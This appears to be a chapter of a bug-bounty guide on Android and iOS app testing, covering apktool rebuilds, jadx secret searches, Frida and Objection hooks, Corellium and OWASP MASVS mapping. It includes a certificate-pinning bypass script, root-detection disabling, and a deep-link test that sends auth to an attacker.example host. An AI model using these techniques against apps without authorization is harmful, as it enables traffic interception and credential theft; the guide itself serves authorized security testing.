Advanced Mobile & Cloud Testing Stacks
Section 15 introduces Android emulators, certificates, and JADX-GUI. Serious mobile bug hunting relies on fast CLI pipelines, binary inspection, Frida runtime hooks, and headless iOS static analysis on Windows or Linux.
Mobile clients often call private or older backend APIs that web-only hunters never see. Mastering an Android-first workflow with local iOS static triage gives you access to that surface without buying a Mac.
1. Android static analysis order
Section titled “1. Android static analysis order”Do static analysis in a strict order before launching dynamic instrumentation:
- Manifest first. Decode
AndroidManifest.xmlwithapktool. Audit every Activity, Service, BroadcastReceiver, and ContentProvider withandroid:exported="true"or an intent-filter lacking a signature permission. CheckusesCleartextTraffic,debuggable, andallowBackup. - Entry points second. Trace
MainActivity, deep-link handlers (getIntent().getData()), and WebView configurations (setJavaScriptEnabled(true),addJavascriptInterface,setAllowFileAccessFromFileURLs) in JADX. Check Content Providers for SQL injection or path traversal inopenFile(). - Network config third. Inspect
res/xml/network_security_config.xml, customTrustManagerorHostnameVerifierclasses, and hardcoded base URLs. - Secrets and native boundaries fourth. Search for API tokens, OAuth client secrets, and
nativeJNI declarations (System.loadLibrary()). Extract.sofiles fromlib/arm64-v8a/for Ghidra or REA inspection (Section 24). - Validate against the backend fifth. A hardcoded URL, secret candidate, or exported flag is a lead, not a report. Confirm real impact against the backend or at runtime before filing.
2. Advanced Android CLI pipelines
Section titled “2. Advanced Android CLI pipelines”Static decompilation and rebuilding
Section titled “Static decompilation and rebuilding”To inspect raw Smali assembly, enable debugging, or add user CA trust to a test build:
# 1. Decompile APK to smali code and raw resourcesapktool d target.apk -o apk_source
# 2. Modify AndroidManifest.xml:# - Set android:debuggable="true" on <application># - Point android:networkSecurityConfig to @xml/network_security_config
# 3. Trust user certificates in res/xml/network_security_config.xml:cat << 'EOF' > apk_source/res/xml/network_security_config.xml<?xml version="1.0" encoding="utf-8"?><network-security-config> <base-config cleartextTrafficPermitted="true"> <trust-anchors> <certificates src="system" /> <certificates src="user" /> </trust-anchors> </base-config></network-security-config>EOF
# 4. Rebuild, align, and sign with a debug keystoreapktool b apk_source -o modified.apkzipalign -p -f -v 4 modified.apk aligned.apkapksigner sign --ks ~/.android/debug.keystore --ks-pass pass:android aligned.apkBatch auditing with jadx-cli
Section titled “Batch auditing with jadx-cli”Use jadx-cli to search across thousands of decompiled classes from your terminal:
# Decompile entire APK with deobfuscationjadx -d ./jadx_out --deobf target.apk
# Search for API endpoints, GraphQL routes, JWTs, and AWS keysgrep -rnE "(https?://|/api/v[0-9]|graphql|eyJ[A-Za-z0-9_-]{10,}|AKIA[0-9A-Z]{16})" ./jadx_out/sources/
# Locate risky WebView bridgesgrep -rn "setJavaScriptEnabled(true)" ./jadx_out/sources/grep -rn "addJavascriptInterface" ./jadx_out/sources/Dynamic instrumentation with Frida and Objection
Section titled “Dynamic instrumentation with Frida and Objection”Connect a physical rooted Android device over USB when possible (zero emulator RAM overhead, native ARM64 .so execution, fewer emulator checks) and install the CLI tools in an isolated uv environment:
# Install CLI tools via uvuv tool install frida-toolsuv tool install objection
# Forward local Caido or Burp proxy port (8080) to the Android deviceadb reverse tcp:8080 tcp:8080
# Inspect app private storage on a rooted test device (MASVS-STORAGE)adb shell "su -c 'ls -la /data/data/com.target.app/shared_prefs/'"
# Launch Objection for exploratory runtime inspectionobjection --gadget com.target.app explore
# Valid Objection commands inside the console:android sslpinning disableandroid root disableandroid keystore listRuntime instrumentation script (audit_hooks.js)
Section titled “Runtime instrumentation script (audit_hooks.js)”Run with frida -U -f com.target.app -l audit_hooks.js:
// Frida Runtime Instrumentation Script for Android Target AuditingJava.perform(function () { console.log("[*] Initializing Android Runtime Audit Hooks...");
// 1. MASVS-NETWORK-2: OkHttp3 Certificate Pinning observation/bypass on test device try { const CertificatePinner = Java.use("okhttp3.CertificatePinner"); CertificatePinner.check.overload("java.lang.String", "java.util.List").implementation = function (hostname, peerCertificates) { console.log("[+] Bypassed OkHttp3 CertificatePinner for host: " + hostname); return; }; } catch (err) { console.log("[-] OkHttp3 CertificatePinner not found or obfuscated."); }
// 2. MASVS-PLATFORM: Monitor Incoming Intents, Deep Links, and WebView URLs const Activity = Java.use("android.app.Activity"); Activity.onCreate.overload("android.os.Bundle").implementation = function (savedInstanceState) { const intent = this.getIntent(); if (intent !== null) { const action = intent.getAction(); const dataString = intent.getDataString(); const extras = intent.getExtras(); console.log("[INTENT MONITOR] Activity: " + this.getClass().getName() + " | Action: " + action + " | Data URI: " + dataString + " | Extras: " + (extras ? extras.toString() : "none")); } return this.onCreate(savedInstanceState); };
const WebView = Java.use("android.webkit.WebView"); WebView.loadUrl.overload("java.lang.String").implementation = function (url) { console.log("[WEBVIEW MONITOR] WebView.loadUrl invoked with: " + url); return this.loadUrl(url); };});
// 3. Native JNI Boundary Hookingconst targetLib = "libnative-crypto.so";const awaitLibLoad = setInterval(function () { const mod = Process.findModuleByName(targetLib); if (mod !== null) { clearInterval(awaitLibLoad); console.log("[+] Native module loaded at base: " + mod.base); const exports = mod.enumerateExports(); exports.forEach(function (exp) { if (exp.name.indexOf("Java_") === 0 || exp.name.indexOf("sign") !== -1) { console.log("[JNI EXPORT] Hooking " + exp.name + " at " + exp.address); Interceptor.attach(exp.address, { onEnter: function (args) { console.log("[JNI CALL] Entering " + exp.name); }, onLeave: function (retval) { console.log("[JNI RET] Leaving " + exp.name + " -> retval: " + retval); } }); } }); }}, 200);Deep-link testing via ADB
Section titled “Deep-link testing via ADB”Trigger exported custom URI schemes directly from your terminal while Frida monitors Activity.onCreate and WebView.loadUrl:
adb shell am start -W -a android.intent.action.VIEW \ -d "targetapp://checkout/webview?url=https://attacker.example/poc.html&attach_auth=true" \ com.target.app3. Headless iOS IPA analysis on Windows and Linux
Section titled “3. Headless iOS IPA analysis on Windows and Linux”You do not need macOS to run thorough static analysis on iOS packages (.ipa). An IPA is a standard ZIP archive holding Mach-O binaries, Info.plist, and provisioning profiles. Developers often leave staging URLs or legacy v1 routes inside iOS binaries after removing them from Android and web clients.
flowchart TD IPA["Target.ipa (Standard ZIP Archive)"] --> Extract["unzip -q Target.ipa -d ./extracted"] Extract --> Info["Info.plist: Schemes, ATS, Permissions"] Extract --> MachO["Mach-O Binary: ipsw, strings, Ghidra"] Extract --> Provision["embedded.mobileprovision: Entitlements"] Info --> Schemes["Custom URL schemes (e.g. app://)"] MachO --> Endpoints["Extracted API routes & API keys"] MachO --> Headers["Objective-C & Swift Class Dumps"]
Step-by-step Linux/Windows iOS audit workflow
Section titled “Step-by-step Linux/Windows iOS audit workflow”Use blacktop/ipsw (single static Go binary for Windows, Linux, and macOS). For browser-based quick triage without installing anything, ipaauditor parses Info.plist, Mach-O headers, and entitlements locally in the browser. Skip the legacy macho Rust crate (abandoned since 2016); use ipsw, goblin, or LIEF instead.
# 1. Unzip IPA archiveunzip -q TargetApp.ipa -d ./extracted_ipacd extracted_ipa/Payload/*.app
# 2. Parse Info.plist and URL schemes using Python's built-in plistlibpython -c "import plistlib; print(plistlib.load(open('Info.plist','rb')))"
# Or using plistutil on Linux:plistutil -i Info.plist
# 3. Extract Mach-O entitlements and embedded provisioning profileipsw macho info --ent TargetAppBinaryopenssl smime -inform DER -verify -noverify -in embedded.mobileprovision -out provisioning.plist 2>/dev/null
# 4. Inspect Mach-O headers, encryption status (cryptid), and security flags (PIE, ARC)ipsw macho info TargetAppBinary
# 5. Reconstruct Objective-C & Swift class headers (works when cryptid == 0)ipsw class-dump --headers --output ./dumped_headers TargetAppBinaryipsw class-dump --headers --output ./framework_headers Frameworks/*.framework/*
# 6. Extract embedded API endpoints, GraphQL queries, and credentialsstrings -n 8 TargetAppBinary | grep -E "(https?://|/api/v[0-9]|graphql|eyJ[A-Za-z0-9_-]{10,}|AKIA[0-9A-Z]{16})"Cross-platform iOS capability matrix
Section titled “Cross-platform iOS capability matrix”| Audit task | Linux / Windows | Requires macOS or iOS device |
|---|---|---|
| Unzip and inspect IPA bundle structure | Yes (unzip) |
No |
Parse Info.plist and custom URL schemes |
Yes (plistlib / plistutil) |
No |
| Extract Mach-O entitlements and provisioning | Yes (ipsw / openssl) |
No |
| Class-dump Objective-C/Swift interfaces | Yes if unencrypted (cryptid == 0) |
Only if FairPlay-encrypted (cryptid == 1) |
| Extract hardcoded API strings and keys | Yes (strings / ripgrep) |
No |
| Disassemble Mach-O in Ghidra / REA | Yes if unencrypted (cryptid == 0) |
Only if FairPlay-encrypted |
| Decrypt FairPlay DRM binaries from memory | No | Yes (jailbroken device or Corellium) |
| Dynamic Frida / Objection instrumentation | No (local) / Yes (cloud VM) | Yes (jailbroken device or Corellium) |
4. Corellium cloud workflow
Section titled “4. Corellium cloud workflow”When an in-scope iOS target requires dynamic instrumentation (hooking native signers, runtime keychain inspection, or live traffic capture) and you do not own Apple hardware, Corellium provides ARM-native virtualized iOS devices in the cloud with root access and built-in Frida support.
- Pricing and access check: Cellebrite acquired Corellium in mid-2025, and commercial plans are primarily enterprise-focused (evaluation trials are available on request). Ignore outdated third-party “$3/hr Solo” quotes and check Corellium’s official pricing documentation before budgeting for it. Browser simulator services like Appetize.io do not give root access or Frida hooks.
- Legal background: In Apple v. Corellium, the district court found fair use on Apple’s copyright claims (2020), the Eleventh Circuit affirmed fair use in a non-precedential opinion (May 2023) while remanding other claims, and the parties reached a confidential settlement in December 2023. Only test binaries you have explicit program authorization to audit.
Provisioning and setup
Section titled “Provisioning and setup”- Device selection: Provision an iPhone model running a supported jailbroken profile.
- Network routing: Connect your workstation to the Corellium instance’s VPN tunnel.
- Proxy configuration: Listen on
0.0.0.0:8080in Caido or Burp Suite, point the virtual iPhone’s Wi-Fi HTTP proxy to your host VPN IP on port 8080, and trust the CA under Settings -> General -> About -> Certificate Trust Settings. - Frida attachment: Corellium instances run
frida-servernatively:Terminal window frida-ps -Ufrida -U -f com.target.iosapp -l ios_hooks.js
5. OWASP MASVS v2 mapping (all 8 groups)
Section titled “5. OWASP MASVS v2 mapping (all 8 groups)”Map mobile findings to OWASP MASVS v2 and MASTG v2.0.0 (shipped June 2026):
- MASVS-STORAGE: Insecure storage in Android
SharedPreferences, SQLite, DataStore, iOSNSUserDefaults, Keychain/Keystore backups, or logs. - MASVS-CRYPTO: Hardcoded AES/HMAC keys, static IVs, or weak PRNGs in Java/Kotlin or native
.so/Mach-O libraries. - MASVS-AUTH: Client-side biometric bypasses (boolean checks instead of CryptoObject-bound keystore ops), OAuth PKCE fixation, or broken token lifecycle.
- MASVS-NETWORK: Cleartext traffic, weak TLS validation, or broken certificate pinning across WebViews and native stacks.
- MASVS-PLATFORM: Exported activities/receivers, unvalidated deep links or Universal Links, insecure WebView JavaScript bridges, or intent redirection.
- MASVS-CODE: Memory safety issues at JNI boundaries and unsafe native code handling.
- MASVS-RESILIENCE: Root/jailbreak detection, anti-debugging, and obfuscation. Treat as client-side hardening, not a standalone bounty bug.
- MASVS-PRIVACY: Hardware device identifiers, clipboard leakage, and unauthorized third-party SDK telemetry.
Next step: see how the sources rank these classes in Section 26.
Open local graph around this page
Linked from here
Bug Hunting for BeginnersFor authorized testing only. Read the ethics note before you put a domain in scope.